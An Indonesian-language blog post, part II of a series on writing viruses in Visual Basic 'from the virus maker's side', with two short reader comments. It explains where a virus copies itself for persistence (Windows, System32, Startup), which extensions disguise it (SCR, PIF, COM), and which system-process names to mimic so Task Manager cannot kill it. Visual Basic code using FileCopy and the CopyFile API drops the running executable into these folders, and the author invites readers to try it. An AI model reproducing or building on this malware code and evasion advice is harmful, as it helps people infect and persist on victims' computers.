Thursday, March 26, 2009

Telanjangi VB dari Sisi Virus Maker (Part II)

Now...setelah Part I, kita lanjutin ya..setelah baca buku, trus ngoprek dikit, trus lagi browsing. Akhirnya diketuai, eh diketahui..bahwa..

BAB KEDUA


Penggandaan Ke Sistem




Ketika virus dijalankan oleh seseorang maka virus tersebut akan mulai
melakukan aktivitasnya sebagai virus yaitu dengan melakukan penggandaan ke
system computer (Infeksi ke system). Hal ini dilakukan agar virus tetap berada pada
system meskipun sarana media penyebarannya telah dilepas, virus tersebut akan tetap
aktif dengan cara mengaktifkan virus yang ter-copy di system sehingga system benarbenar
telah terinfeksi oleh virus.

Lokasi folder penggandaan virus pada system:
1. Windows (Winnt untuk windows NT)
2. System32 (System untuk windows 9x)
3. Startup
4. Application Data

Lokasi diatas biasanya yang paling sering digunakan oleh virus. Mengapa
harus lokasi tersebut? Karena untuk orang awam lokasi tersebut merupakan lokasi
dimana file nya tidak boleh dihapus, karena hampir semua file yang ada pada folder
tersebut merupakan file penting karena jika terjadi penghapusan terhadap file
diperlukan oleh windows maka windows akan mengalami kerusakan. Dan hal ini
dimanfaatkan oleh virus untuk melindungi dirinya.

Selain lokasi folder virus juga melakukan perubahan extensi untuk menyamar
agar virus tersebut sulit dicari.

Extensi file yang sering digunakan oleh virus pada saat melakukan penggadaan pada
system:
1. EXE
2. SCR
3. COM
4. PIF

Extensi diatas semuanya memiliki cara akses yang sama. Meskipun terjadi
perubahan extensi, virus tersebut tetap akan berjalan dengan normal. SCR digunakan
virus untuk menyamar sebagai Screen Saver sehingga virus tersebut akan aktif jika
Screen Saver aktif. Dan tentunya dengan melakukan sedikit perubahan pada registry
agar virus tersebut menjadi Default pada Screen Saver.
Agar penyamaran sukses virus juga menggunakan penamaan yang hampir
sama dengan file system atau bahkan memang sama hanya saja lokasi file tersebut
yang berbeda.
Penamaan file yang sering digunakan virus pada system:
1. winlogon.exe
2. lsass.exe
3. services.exe
4. csrss.exe
5. smss.exe
6. svchost.exe
7. System
8. taskmgr.exe
9. explorer.exe
10. iexplorer.exe
11. notepad.exe
12. winword.exe

Dengan menggunakan penamaan file seperti itu. Virus tersebut dapat membuat
bingung orang terserang virus tersebut karena mereka tidak tahu apakah file tersebut
benar-benar file system yang asli atau yang palsu (virus).

Penamaan file yang bermasalah pada task manager adalah winlogon.exe,
lsass.exe, services.exe, csrss.exe, smss.exe. Karena file tersebut justru akan
dilindungi oleh task manager sehingga tidak dapat matikan prosesnya oleh task
manager.

Berikut ini adalah kode sederhana untuk melakukan penggandaan ke system



Penggunaan perintah FileCopy:

Code:




FileCopy sumber,tujuan




Code:




Dim lokasi As String


Dim namafile As String


Private Sub Form_Load()


With App


lokasi = .Path & "\"


namafile = .EXEName & ".exe"


End With


FileCopy lokasi & namafile, "C:\virus.exe"


FileCopy lokasi & namafile, "C:\Windows\virus.com"


FileCopy lokasi & namafile, "C:\Windows\virus.pif"


FileCopy lokasi & namafile, "C:\Windows\System32\virus.scr"


End Sub




Dari perintah tersebut kita dapat mengetahui bahwa ketika virus dijalankan maka virus
tersebut akan melakukan penggandaan diri pada drive C:

Code:




C:\virus.exe


C:\Window\virus.com


C:\Windows\virus.pif


C:\Windows\System32\virus.scr




Berikut ini adalah proses penggandaan dengan menggunkan perintah API:


Code:




Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _


(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _


ByVal bFailIfExists As Long) As Long


Dim lokasi As String


Dim namafile As String


Private Sub Form_Load()


With App


lokasi = .Path & "\"


namafile = .EXEName & ".exe"


End With


CopyFile lokasi & namafile, "C:\virus.exe", 0


CopyFile lokasi & namafile, "C:\Windows\virus.com", 0


CopyFile lokasi & namafile, "C:\windows\virus.pif", 0


CopyFile lokasi & namafile, "C:\windows\system32\virus.scr", 0


End Sub




Cara penggunaannya hampir sama. Jika kita penggunakan perintah API berarti kita
akan menggunakan perintah yang terhubung langsung dengan Sistem Operasi, tetapi
jika kita menggunakan perintah FileCopy itu berarti kita menggunakan perintah yang
telah disediakan oleh visual basic. Setelah visual basic mengenal perintah perintah
tersebut baru visual basic akan mengirimkan perintah ke system operasi.


Berikut ini adalah kode penggandaan pada tempat-tempat yang dianggap penting oleh
Windows.

Siapkan satu form dengan 5 buah command button dan satu buah module.
Ketikan pada Form1:

Code:




Dim lokasi As String


Dim namafile As String


Dim tujuan As String


Private Sub Command1_Click()


tujuan = GetSpecialfolder(CSIDL_DESKTOP)


CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0


MsgBox tujuan


End Sub


Private Sub Command2_Click()


tujuan = GetSpecialfolder(CSIDL_PERSONAL)


CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0


MsgBox tujuan


End Sub


Private Sub Command3_Click()


tujuan = GetSpecialfolder(CSIDL_STARTUP)


CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0


MsgBox tujuan


End Sub


Private Sub Command4_Click()


tujuan = GetWindowsPath


CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0


MsgBox tujuan


End Sub


Private Sub Command5_Click()


tujuan = GetSystemPath


CopyFile lokasi & namafile, tujuan & "\" & "virus.exe", 0


MsgBox tujuan


End Sub


Private Sub Form_Load()


With App


lokasi = .Path & "\"


namafile = .EXEName & ".exe"


End With


End Sub





Ketikan pada module:

Code:




Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _


(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _


ByVal bFailIfExists As Long) As Long


Public Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" _


(ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As ITEMIDLIST) As Long


Public Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias _


"SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long


Public Declare Function GetSystemDirectory Lib "kernel32.dll" Alias _


"GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Public Declare Function GetWindowsDirectory Lib "kernel32.dll" Alias _


"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long


Public Declare Function CreateDirectory Lib "kernel32" Alias _


"CreateDirectoryA" (ByVal lpPathName As String, _


lpSecurityAttributes As SECURITY_ATTRIBUTES) As Long


Public Type SHITEMID


cb As Long


abID As Byte


End Type


Public Type ITEMIDLIST


mkid As SHITEMID


End Type


Public Type SECURITY_ATTRIBUTES


nLength As Long


lpSecurityDescriptor As Long


bInheritHandle As Long


End Type


Enum SFolder


CSIDL_DESKTOP = &H0 'menunjukkan folder virtual yang menyatakan root untuk


'semua namespace (/Desktop)


CSIDL_PROGRAMS = &H2 'menunjukkan folder sistem yang berisi grup program


'user (/Programs)


CSIDL_CONTROLS = &H3 'menunjukkan folder virtual yang berisi ikon-ikon


'aplikasi Control Panel (/Control Panel)


CSIDL_PRINTERS = &H4 'menunukkan folder virtual yang berisi printer-


'printer yang diinstall (/Printers)


CSIDL_PERSONAL = &H5 'menunjukkan folder sistem yang digunakan untuk


'menyimpan dokumen umum user (/My Document)


CSIDL_FAVORITES = &H6 'menunjukkan folder yang berisi item-item favorite


'user (/Favorites)


CSIDL_STARTUP = &H7 'menunjukkan folder yang berisi grup program StartUp


'user (/Startup)


CSIDL_RECENT = &H8 'menunjukkan folder sistem yang berisi dokumen-dokumen


'yang sering digunakan (/Recent)


CSIDL_SENDTO = &H9 'menunjukkan folder yang berisi item menu Send To


'(/Send To)


CSIDL_BITBUCKET = &HA 'menunjukkan folder sistem yang berisi objek file


'pada RecycleBin user (/Recycle Bin)


CSIDL_STARTMENU = &HB 'menunjukkan folder sistem yang berisi item-item


'menu Start (/StartMenu)


CSIDL_DESKTOPDIRECTORY = &H10 'menunjukkan folder sistem yang dapatkan


'digunakan untuk menyimpan objek file secara


'fisik pada desktop


CSIDL_DRIVES = &H11 'menunjukkan folder yang berisi segala sesuatu pada


'komputer lokal (/My Computer)


CSIDL_NETWORK = &H12 'menunjukkan folder yang berisi objek link yang


'kemungkinan ada pda folder virtual My Network Places


'(/My Network Places)


CSIDL_NETHOOD = &H13 'menunjukkan folder yang menyatakan root dari


'hierarki namespace network (/NetHood)


CSIDL_FONTS = &H14 'menunjukkan folder yang berisikan font (/FONT)


CSIDL_TEMPLATES = &H15 'menunjukkan folder yang digunakan untuk menyimpan


'dokumen template (/Template)


End Enum


'Get special folder


Public Function GetSpecialfolder(JenisFolder As SFolder) As String


Dim r As Long


Dim IDL As ITEMIDLIST


'get special folder


r = SHGetSpecialFolderLocation(100, JenisFolder, IDL)


If r = NOERROR Then


'create buffer


Path$ = Space$(512)


'Get path from IDList(IDL)


r = SHGetPathFromIDList(ByVal IDL.mkid.cb, ByVal Path$)


'Remove chr$(0)


GetSpecialfolder = Left$(Path, InStr(Path, Chr$(0)) - 1)


Exit Function


End If


GetSpecialfolder = ""


End Function


'Get System Path


Public Function GetSystemPath() As String


On Error Resume Next


Dim Buffer As String * 255


Dim x As Long


x = GetSystemDirectory(Buffer, 255)


GetSystemPath = Left(Buffer, x) & "\"


End Function


'Get Windows Path


Public Function GetWindowsPath() As String


On Error Resume Next


Dim Buffer As String * 255


Dim x As Long


x = GetWindowsDirectory(Buffer, 255)


GetWindowsPath = Left(Buffer, x) & "\"


End Function




Dengan menggunakan perintah diatas kita dapat membuat kode untuk penggandaan
pada folder yang dianggap penting oleh windows.


Nah..sekian dulu part II..cobain dulu...

Related Posts Plugin for WordPress, Blogger...

2 komentar:

novriando said...

msih da klanjutannya ya?

Telanjangi VB dari Sisi Virus Maker (Part III) « …..dan dunia pun diceritakan di sini….. said...

[...] Telanjangi VB dari Sisi Virus Maker (Part II) [...]

Post a Comment